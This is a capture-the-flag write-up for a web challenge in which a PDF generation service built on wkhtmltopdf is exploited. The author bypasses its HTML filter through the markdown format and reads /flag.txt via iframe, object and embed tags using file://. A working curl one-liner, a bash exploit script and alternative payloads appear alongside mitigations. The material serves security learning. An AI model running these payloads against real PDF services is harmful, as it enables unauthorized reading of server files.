Скрипторий Архимага (Scriptorium)
Скрипторий Архимага (Scriptorium)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: HTML filter bypass via markdown format switching, Local File Inclusion through PDF generator iframe injection, wkhtmltopdf SSRF/LFI via file:// protocol
Summary
Walkthrough of the CUSTOM Web Скрипторий Архимага (Scriptorium). Task: PDF generation service using wkhtmltopdf with HTML/markdown input. Solution: Bypass HTML filter by using markdown format with inline HTML, then exploit wkhtmltopdf file:// protocol support via i
Description
"В Башне Магов спрятан Запретный гримуар. Архимаг печатает свитки, но забывает закрыть доступ к библиотеке башни. Воспользуйтесь скрипториумом, чтобы добыть содержимое гримуара."
Target: https://task-archmage-scriptorium-8cd149ee889c41f4.caplag-task.ru/
Analysis
1. Reconnaissance
Server: Werkzeug/3.1.5 Python/3.11.14 (Flask).
The application is a "scriptorium" that accepts user text and generates a stylized PDF scroll.
Main endpoint:
POST /seal
Content-Type: multipart/form-data
content=<text>
format=html|markdown
In the generated PDF metadata, Creator: wkhtmltopdf 0.12.6 (Qt 5.15.8) was found — a known PDF generator with SSRF/LFI vulnerabilities.
Hint from the "Spell Reference":
"Свиток может включать вложенные страницы и артефакты из хранилища башни"
This hints at the possibility of including external/local resources through HTML elements (iframe, object, embed).
2. Filter Discovery
With format=html, the server filters HTML tags. Any request containing <p>, <img>, <iframe>, <script>, <object>, <embed>, etc., returns an error:
HTTP 500: "Милорд, стражи портала отвергли свиток..."
Or the connection drops (0 bytes).
3. Filter Bypass via Markdown
Critical discovery: with format=markdown, the server converts markdown to HTML and then passes the result to wkhtmltopdf. The HTML tag filter is applied ONLY for format=html!
According to the CommonMark specification, markdown allows inline HTML. Thus, arbitrary HTML tags can be passed through the markdown format, bypassing the filter.
4. wkhtmltopdf Exploitation
wkhtmltopdf 0.12.6 supports the file:// protocol, which allows reading local files through HTML elements:
<iframe src="file:///path">— renders file contents inside the frame<object data="file:///path">— similar<embed src="file:///path">— similar
Solution
One-liner Attack
bash read-only • copy allowedcurl -s -X POST "https://task-archmage-scriptorium-8cd149ee889c41f4.caplag-task.ru/seal" \ -F 'content=<iframe src="file:///flag.txt" width="800" height="400"></iframe>' \ -F "format=markdown" \ -o flag.pdf # Extract text from PDF pdftotext flag.pdf -
Attack Chain
- Filter bypass: use
format=markdowninstead offormat=html— HTML tag filter is not applied - HTML injection: embed
<iframe>withfile:///flag.txtas source - LFI via wkhtmltopdf: the generator renders the iframe, reads the local file via
file://protocol and includes its contents in the PDF - Extraction:
pdftotextto get text from PDF
Full Script
bash read-only • copy allowed#!/bin/bash # Scriptorium Exploit — wkhtmltopdf LFI via markdown filter bypass TARGET="https://task-archmage-scriptorium-8cd149ee889c41f4.caplag-task.ru" echo "[*] Exploiting wkhtmltopdf LFI via markdown format bypass..." # Step 1: Inject iframe via markdown format to bypass HTML filter curl -s -X POST "$TARGET/seal" \ -F 'content=<iframe src="file:///flag.txt" width="800" height="400"></iframe>' \ -F "format=markdown" \ -o flag.pdf echo "[*] PDF saved to flag.pdf" # Step 2: Extract text from PDF echo "[*] Extracting flag..." pdftotext flag.pdf - 2>/dev/null echo "[+] Done!"
Alternative Payloads (also work)
html read-only • copy allowed<!-- object tag --> <object data="file:///flag.txt" type="text/plain" width="800" height="400"></object> <!-- embed tag --> <embed src="file:///flag.txt" type="text/plain">
All sent with format=markdown.
What Didn't Work
| Attempt | Result |
|---|---|
SSTI {{7*7}} | Rendered as literal text, not interpreted |
HTML tags with format=html | All blocked by server filter |
file:// in markdown image syntax  | File loaded as binary image, unreadable |
<script> tags | Blocked even in markdown mode |
SSI <!--#include --> | Blocked |
| JavaScript protocol in markdown links | Returns 500 |
| |
Vulnerabilities
1. Inconsistent Filtering (Filter Bypass)
python read-only • copy allowed# Vulnerable code (presumably) if format == 'html': if has_dangerous_tags(content): # Filter only for HTML! return error("Guards rejected the scroll") elif format == 'markdown': content = markdown_to_html(content) # Inline HTML passes without check! pdf = wkhtmltopdf(content)
Problem: filter is applied only to format=html, but markdown with inline HTML passes without verification.
2. wkhtmltopdf SSRF/LFI
wkhtmltopdf renders HTML as a full browser (based on Qt WebKit), including:
file://protocol for reading local fileshttp://for SSRF to internal services- JavaScript execution (if not disabled)
Defense
- Filter HTML after markdown conversion, not only for
format=html - Use
--disable-local-file-accessflag for wkhtmltopdf - Prohibit
file://protocol in wkhtmltopdf via--allowwhitelist - Sanitize HTML with a library like bleach/DOMPurify before passing to PDF generator
- Use more secure PDF generators (WeasyPrint, Puppeteer with sandbox)
python read-only • copy allowed# Secure variant import bleach ALLOWED_TAGS = ['p', 'b', 'i', 'em', 'strong', 'h1', 'h2', 'h3', 'ul', 'ol', 'li'] def generate_pdf(content, format): if format == 'markdown': content = markdown_to_html(content) # Sanitization AFTER conversion — key point! content = bleach.clean(content, tags=ALLOWED_TAGS, strip=True) # Secure wkhtmltopdf flags pdf = pdfkit.from_string(content, options={ '--disable-local-file-access': '', '--disable-javascript': '', }) return pdf
References
- wkhtmltopdf SSRF — HackTricks
- Server Side XSS (Dynamic PDF)
- CVE wkhtmltopdf file:// access
Key Takeaways / Lessons
- Mastering HTML filter bypass via markdown format switching, Local File Inclusion through PDF generator iframe injection, wkhtmltopdf SSRF/LFI via file:// protocol was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-02-22 • CUSTOM • Скрипторий Архимага (Scriptorium) • Difficulty: Medium